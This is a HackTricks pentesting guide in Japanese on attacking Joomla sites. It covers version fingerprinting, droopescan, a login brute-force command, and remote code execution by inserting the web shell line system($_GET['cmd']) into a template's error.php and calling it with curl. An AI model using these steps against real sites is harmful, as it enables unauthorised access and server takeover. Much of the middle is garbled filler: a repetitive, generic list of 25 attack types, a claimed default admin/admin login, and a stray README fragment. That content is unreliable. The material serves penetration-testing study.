hacktricks/network-services-pentesting/pentesting-web/joomla.md
2023-07-07 23:42:27 +00:00

15 KiB
Raw Blame History

Joomla

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Joomlaの統計

Joomlaは、Joomlaのインストールで使用されているJoomla、PHP、データベースのバージョン、およびサーバーのオペレーティングシステムなど、いくつかの匿名の使用統計を収集しています。このデータは、公開されているAPIを介してクエリできます。

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

列挙

発見/フットプリンティング

  • メタをチェックする
curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
  • robots.txt

ロボット.txt

# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]

Joomla

概要

Joomlaは、人気のあるオープンソースのコンテンツ管理システムCMSです。このCMSは、ウェブサイトの作成と管理を容易にするために使用されます。Joomlaは、PHPで書かれており、MySQLデータベースを使用しています。

ペンテストの手法

1. Joomlaのバージョンの特定

Joomlaのバージョンを特定することは、脆弱性の評価と攻撃の計画に重要です。以下の方法でバージョンを特定できます。

  • /administrator/manifests/files/joomla.xmlにアクセスしてバージョンを確認する。
  • /administrator/manifests/files/joomla.xmlにアクセスして、<version>タグの値を確認する。
  • /language/en-GB/en-GB.xmlにアクセスして、<version>タグの値を確認する。

2. デフォルトのクレデンシャルの確認

Joomlaのデフォルトのクレデンシャルを使用してログインできるかどうかを確認します。以下のデフォルトのクレデンシャルを試してみてください。

  • ユーザー名:admin、パスワード:admin
  • ユーザー名:administrator、パスワード:administrator

3. ファイルのアップロード

Joomlaのファイルアップロード機能を悪用して、任意のファイルをアップロードすることができます。アップロードされたファイルを使用して、コードの実行やシステムへのアクセスを試みることができます。

4. SQLインジェクション

JoomlaのSQLインジェクション脆弱性を悪用して、データベースから情報を抽出したり、データを改ざんしたりすることができます。SQLインジェクションのテストを実施し、脆弱性を特定します。

5. パスワードリセットの悪用

Joomlaのパスワードリセット機能を悪用して、他のユーザーのパスワードをリセットすることができます。これにより、他のユーザーのアカウントにアクセスできる可能性があります。

6. プラグインの脆弱性

Joomlaのプラグインには、脆弱性が存在する場合があります。脆弱性のあるプラグインを特定し、攻撃のためのエクスプロイトを見つけます。

7. ファイルの読み取りと書き込み

Joomlaのファイルシステムに対して読み取りと書き込みの権限を持つことができれば、機密情報の抽出やシステムの改ざんが可能になります。ファイルシステムの権限を確認し、必要な権限を取得します。

8. データベースの情報の抽出

Joomlaのデータベースには、ウェブサイトの重要な情報が格納されています。データベースから情報を抽出し、攻撃のための有用な情報を見つけます。

9. リモートコード実行

Joomlaのリモートコード実行脆弱性を悪用して、任意のコードを実行することができます。リモートコード実行の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。

10. ディレクトリトラバーサル

Joomlaのディレクトリトラバーサル脆弱性を悪用して、ウェブサイトのファイルシステムにアクセスすることができます。ディレクトリトラバーサルの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。

11. セッションハイジャック

Joomlaのセッションハイジャック脆弱性を悪用して、他のユーザーのセッションを奪取することができます。セッションハイジャックの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。

12. ディレクトリリスティング

Joomlaのディレクトリリスティング脆弱性を悪用して、ウェブサイトのディレクトリ構造を表示することができます。ディレクトリリスティングの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。

13. クロスサイトスクリプティングXSS

JoomlaのクロスサイトスクリプティングXSS脆弱性を悪用して、ユーザーのセッションを乗っ取ったり、悪意のあるスクリプトを実行したりすることができます。XSSの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。

14. リダイレクト攻撃

Joomlaのリダイレクト攻撃脆弱性を悪用して、ユーザーを悪意のあるウェブサイトにリダイレクトすることができます。リダイレクト攻撃の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。

15. ファイルインクルージョン

Joomlaのファイルインクルージョン脆弱性を悪用して、任意のファイルを読み込むことができます。ファイルインクルージョンの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。

16. リモートファイルインクルージョン

Joomlaのリモートファイルインクルージョン脆弱性を悪用して、リモートサーバー上のファイルを読み込むことができます。リモートファイルインクルージョンの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。

17. ディレクトリブラウジング

Joomlaのディレクトリブラウジング脆弱性を悪用して、ウェブサイトのディレクトリ内のファイルを表示することができます。ディレクトリブラウジングの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。

18. ファイルダウンロード

Joomlaのファイルダウンロード機能を悪用して、ウェブサイトのファイルをダウンロードすることができます。ファイルダウンロードの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。

19. ファイルの削除

Joomlaのファイル削除機能を悪用して、ウェブサイトのファイルを削除することができます。ファイル削除の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。

20. ファイルの実行

Joomlaのファイル実行機能を悪用して、任意のコードを実行することができます。ファイル実行の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。

21. ファイルの移動

Joomlaのファイル移動機能を悪用して、ウェブサイトのファイルを移動することができます。ファイル移動の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。

22. ファイルのコピー

Joomlaのファイルコピー機能を悪用して、ウェブサイトのファイルをコピーすることができます。ファイルコピーの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。

23. ファイルの圧縮と解凍

Joomlaのファイル圧縮と解凍機能を悪用して、ウェブサイトのファイルを圧縮または解凍することができます。ファイル圧縮と解凍の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。

24. ファイルの表示

Joomlaのファイル表示機能を悪用して、ウェブサイトのファイルの内容を表示することができます。ファイル表示の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。

25. ファイルの編集

Joomlaのファイル編集機能を悪用して、ウェブサイトのファイルを編集することができます。ファイル編集の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。

1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

バージョン

  • /administrator/manifests/files/joomla.xml ではバージョンを確認できます。
  • /language/en-GB/en-GB.xml ではJoomlaのバージョンを取得できます。
  • plugins/system/cache/cache.xml ではおおよそのバージョンを確認できます。

自動化

droopescan scan joomla --url http://joomla-site.local/

In 80,443 - Pentesting Web Methodologyは、JoomlaをスキャンできるCMSスキャナに関するセクションです

ブルートフォース

このスクリプトを使用して、ログインのブルートフォース攻撃を試みることができます。

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE

管理者の資格情報を取得できた場合、PHPコードのスニペットを追加してRCEを実行することができます。これはテンプレートカスタマイズすることで行うことができます。

  1. Configurationの下にある**Templates**をクリックして、テンプレートメニューを表示します。
  2. **Template列のヘッダーの下にあるprotostarを選択して、Templates: Customise**ページに移動します。
  3. 最後に、ページソースを表示するためにページをクリックします。error.phpページを選択しましょう。以下のようにPHPのワンライナーを追加してコード実行を行います
  4. system($_GET['cmd']);
  5. Save & Close
  6. curl -s http://joomla-site.local/templates/protostar/error.php/error.php?cmd=id
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥